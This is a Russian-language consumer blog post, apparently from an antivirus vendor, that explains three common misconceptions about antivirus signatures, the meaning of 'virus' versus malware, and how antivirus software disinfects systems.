Мы много и часто рассказываем о правилах поведения (а может, даже и выживания) в Интернете, да и в цифровом мире в целом. Очень надеемся, что делаем это все не зря, — что люди учатся и потом учат своих близких. Это правда очень важно.

Однако во всех этих рассказах встречается немало специфических терминов, которые кто-то может не знать или понимать неверно. Сегодня мы поговорим о трех самых распространенных заблуждениях, связанных с антивирусами, и попробуем объяснить, почему мы называем определенные вещи так, а не иначе.

Заблуждение первое: сигнатуры — это что-то устаревшее

Так исторически сложилось, что антивирусные базы в разговоре и даже статьях часто называют сигнатурами. В действительности же классические сигнатуры, пожалуй, ни один антивирус не использует уже лет 20.

Проблема возникла из-за того, что с самого начала — а это восьмидесятые годы — понятие «сигнатуры» не было определено четко. Например, отдельной статьи про них в «Википедии» нет даже сейчас, а в статье про вредоносные программы понятие «сигнатуры» используется без определения — как нечто всем известное.

Давайте же это определение дадим. Классическая вирусная сигнатура — это непрерывная последовательность байтов, характерная для той или иной вредоносной программы. То есть она содержится в этом вредоносном файле и не содержится в чистых файлах.

Например, характерная последовательность байтов может быть такой

Проблема в том, что сегодня с помощью таких классических сигнатур определить вредоносный файл достаточно проблематично — их создатели используют различные техники для того, чтобы запутать следы.

Поэтому современные антивирусы используют значительно более продвинутые методы.

И хотя в антивирусных базах примитивных записей по-прежнему много (больше половины), но есть еще и очень много умных записей.

Все это продолжают по старинке называть сигнатурами. И ладно бы просто называли — в общем-то, ничего страшного. Но это название зачастую используется уничижительно: мол, сигнатуры — устаревшие технологии.

А на самом деле в этих «устаревших сигнатурах» порой какое-нибудь «разбиение пространства исполняемых файлов на кластеры в результате работы нейронной сети», которое никто и словами-то доступно не может описать.

В идеале стоило бы отказаться от использования самого термина «сигнатура» в смысле «любая запись в антивирусной базе». Но уж слишком прочно это слово вошло в обиход, да и альтернативного термина пока не придумали, так что все продолжают по привычке пользоваться им.

Краткая история использования машинного обучения в кибербезопасности https://t.co/kY4iaQhxg6 pic..com/0qXMuJQ7Ik

— Евгений Касперский (@e_kaspersky_ru) September 26, 2016

Поэтому важно иметь в виду, что само по себе слово «сигнатура» на самом деле не говорит ничего о продвинутости или примитивности.

Антивирусная запись — это запись, а стоящая за ней технология может быть как классической, простенькой, так и суперсовременной и навороченной, нацеленной на детектирование самых запутанных и высокотехнологичных вредоносных файлов или даже целых семейств вредоносов.

Заблуждение второе: вирусы — это любые вредоносные программы

Вы наверняка отмечали, что вирусные аналитики нашей компании избегают употребления слова «вирус», предпочитая ему странноватые слова вроде «вредонос» или «зловред», а между собой часто говорят «малвара». Делаем мы это вовсе не из суеверия или профессионального пафоса.

Дело в том, что «Virus» — это вполне конкретная разновидность вредоноса, отличающегося очень специфическим поведением: это зловред, который заражает собой другие, чистые файлы. Вирусные аналитики также используют для этого типа вредоносных программ термин «инфекторы».

Инфекторы в вирусной лаборатории пользуются особым статусом. Во-первых, их чуть сложнее распознать — с виду файл чистый, а на самом деле в нем инфекция. Во-вторых, они требуют особого подхода: почти всегда для них нужна специальная процедура лечения и, как правило, еще и особая процедура детектирования. Поэтому инфекторами занимаются люди, специализирующиеся именно на этом типе угроз.

Классификация вредоносных программ

И вот для того, чтобы не путать «вирус» в обывательском смысле с вполне определенной категорией зловредов, вирусные аналитики, в том числе и в разговоре с прессой, употребляют слова «вредонос» или «зловред», когда речь идет о вредоносных программах в целом.

И раз уж мы заговорили о правильных терминах, то вот еще несколько. «Червь» — это вредонос, способный к самостоятельному распространению за пределы одного устройства.

А «малвара» (malware), если следовать точной классификации, не включает в себя «адвару» (adware) — грубое рекламное ПО — и «рисквару» (riskware) — легальное ПО, которое может нанести вред пользователю, если установлено не им, а злоумышленниками.

Заблуждение третье: антивирус не умеет лечить

Мне встречалось такое заблуждение, будто антивирус сканирует и детектирует, а если что-то найдет, то потом надо скачивать специальную лечащую утилиту и использовать уже ее.

Отдельные утилиты для особо популярных зловредов у нас действительно есть — например, специализированные утилиты, позволяющие бесплатно расшифровать файлы, зашифрованные вымогателями. Но и антивирус справляется с лечением ничуть не хуже.

А в подавляющем большинстве случаев — даже лучше, за счет драйверов в системе и других технологий, которые в утилиту не запихнешь.

Лечение заключается в следующем.

В 1% случаев, когда пользователю антивируса «посчастливилось» натолкнуться именно на вирус — инфектор (причем, скорее всего, еще до установки антивируса, иначе бы зловред просто не запустился), антивирус действительно будет перебирать все зараженные файлы на компьютере и производить процедуру дезинфекции — восстанавливать оригинал. Кстати, то же самое антивирус будет делать, если потребуется расшифровать файлы, зашифрованные вымогателем-шифровальщиком — зловредом класса Trojan-Ransom.

А в остальных 99% случаев, когда зловред ничего не инфицирует, а просто делает (или собирается делать) свое черное дело, лечение действительно состоит в банальном удалении файла зловреда. Просто потому, что заражения других файлов нет, так что и лечить их не требуется. Уничтожаем файл — и система здорова.

В большинстве случаев лечение как таковое не требуется, достаточно просто удалить вредоносный файл

Но тут есть одно исключение — если зловред уже работает в системе (а не просто лежит на диске), то антивирус переходит в состояние «Лечение активного заражения», чтобы все сделать надежно и до конца, без рецидивов. Вот здесь можно прочитать полное описание данной врачебной процедуры.

Кстати, ситуация такая возникает обычно по двум причинам:

  1. Антивирус устанавливают на уже зараженное устройство: «Заразился? Пора подумать и о защите».
  2. Антивирус не смог определить угрозу на диске до запуска, поэтому запуск разрешил, но пометил программу как подозрительную и перешел к активному мониторингу выполняемых ею действий. Если действия программы действительно «неправильные», то она будет определена как вредоносная. В этом случае, кстати, антивирус при лечении также осуществит откат всех произведенных зловредом действий (он же их не зря мониторил и запоминал): например, восстановление из бэкапа-на-лету зашифрованных файлов пользователя, если речь идет о шифровальщике или инфекторе.
Советы доктора
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: